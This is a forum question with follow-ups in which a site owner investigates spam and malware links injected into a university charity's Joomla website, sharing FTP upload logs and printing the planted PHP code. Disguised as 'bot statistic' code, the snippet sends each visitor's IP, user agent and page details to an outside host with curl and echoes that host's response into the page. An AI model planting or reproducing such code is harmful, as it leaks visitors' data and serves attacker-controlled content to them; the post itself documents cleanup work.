Please see second followup at the bottom! (Now with added real malicious code! ...ish)
Prompted by this question, I've noticed that my university's student charity organisation has an interesting problem on their website that I've been so far unable to find the cause of. (Apologies if this would be better off on ServerFault, but it doesn't seem to be anything wrong with the server itself, more of a malware issue somewhere along the line!)
Their website, http://duck.dsu.org.uk/ has a whole load of porno/malware-links on the bottom of the page (it looks like this to me), but I think, only when you view it from an O2 Broadband connection. If you view it within the university's network or another ISP, nothing shows up on the bottom at all, and, unsurprisingly, within the CMS admin pages, nothing shows up as being in either the template or the pages.
I'm 99% sure the server isn't located within the university's network, looking at its IP (think it's hosted by 'A Small Orange'). I'm definitely not the only person to have seen this issue, although I'm not sure whether it is specific to just a single UK ISP, O2 Broadband (A friend on a different ISP, TalkTalk has confirmed that he sees nothing). I've never seen anything like this before that hasn't been a simple case of the server being hacked into and code input to the page.
I would appreciate any ideas as to routes to look into to resolving this, any ideas on what might be causing this, and any other advice!
Thanks.
Right, now in followup to the previous (thank you all for your help), I have now managed to convince the web-hosting company to give me SSH access. I have discovered that the .htaccess file has been modified, and the current .htaccess file is as follows: link, which I'm assuming is at least part of the problem. From a cleanup point of view (in terms of moving forward / getting the site clean again), I know that I should be wiping the entire server and starting again.
However, it's a shared hosting server, and so I can't wipe it, as I don't have control of the whole server. I've pointed out to the webhosts that it has been hacked, and their advice was:
The account is a shared hosting account, but access is limited to just the account itself. No modifications can be made to the server itself from a user level compromise.
As nothing on the server has been compromised (only your account), the jailshell access provided will be sufficient for you to investigate and clean up this account.
Is this true? Can I clean it up properly? I'm guessing that if they used a vulnerability in the software running on my site (i.e. Joomla), then yes, it'll only be my part of the server that has been compromised. If however it was a vulnerability in the OS that the server's running, then obviously the whole lot could be compromised - is there any way to work out which it might be?
In before links: I have seen & read all of this.
...and I've now got the logs showing what they've done:
Thu Feb 02 14:35:46 2012 0 213.5.xxx.xxx 45 /home/durhamdu/__check.html a _ i r durhamdu ftp 1 * c
Thu Feb 02 14:35:49 2012 0 213.5.xxx.xxx 45 /home/durhamdu/public_html/__check.html a _ i r durhamdu ftp 1 * c
Thu Feb 02 14:35:53 2012 0 213.5.xxx.xxx 34957 /home/durhamdu/public_html/libraries/joomla/environment/url.php a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:21:53 2012 0 128.127.xxx.xxx 45 /home/durhamdu/__check.html a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:22:00 2012 0 128.127.xxx.xxx 45 /home/durhamdu/public_html/__check.html a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:22:06 2012 0 128.127.xxx.xxx 1457 /home/durhamdu/public_html/mooving/check.php a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:22:09 2012 0 128.127.xxx.xxx 17986 /home/durhamdu/public_html/mooving/laundro.php a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:22:18 2012 0 128.127.xxx.xxx 52457 /home/durhamdu/public_html/.htaccess a _ i r durhamdu ftp
The files referred to aren't there any more, but the links are still showing up, and even though I've changed the filename of the suspicious .htaccess file. Hmm...
Ok, so in second followup, I've now found the malicious code, for your collective perusal:
<?php
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$sReferer = '';
if(isset($_SERVER['HTTP_REFERER']) === true)
{
$sReferer = strtolower($_SERVER['HTTP_REFERER']);
}
$stCurlHandle = NULL;
if(!(strpos($sUserAgent, 'google') === false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) // Create bot analitics
$stCurlHandle = curl_init('http://webdefense1.net/Stat/StatJ/Stat.php?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']).'&ref='.urlencode($sReferer));
} else
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) // Create bot analitics
$stCurlHandle = curl_init('http://webdefense1.net/Stat/StatJ/Stat.php?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']).'&ref='.urlencode($sReferer));
}
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
$sResult = curl_exec($stCurlHandle);
curl_close($stCurlHandle);
echo $sResult; // Statistic code end
?>
I've obviously now removed it, and am about to patch the Joomla install.. thanks for your help everyone! :-)
http://www.robtex.com/ip/184.173.73.180.htmlIt could be a proxy or doing a redirect to a virtual server.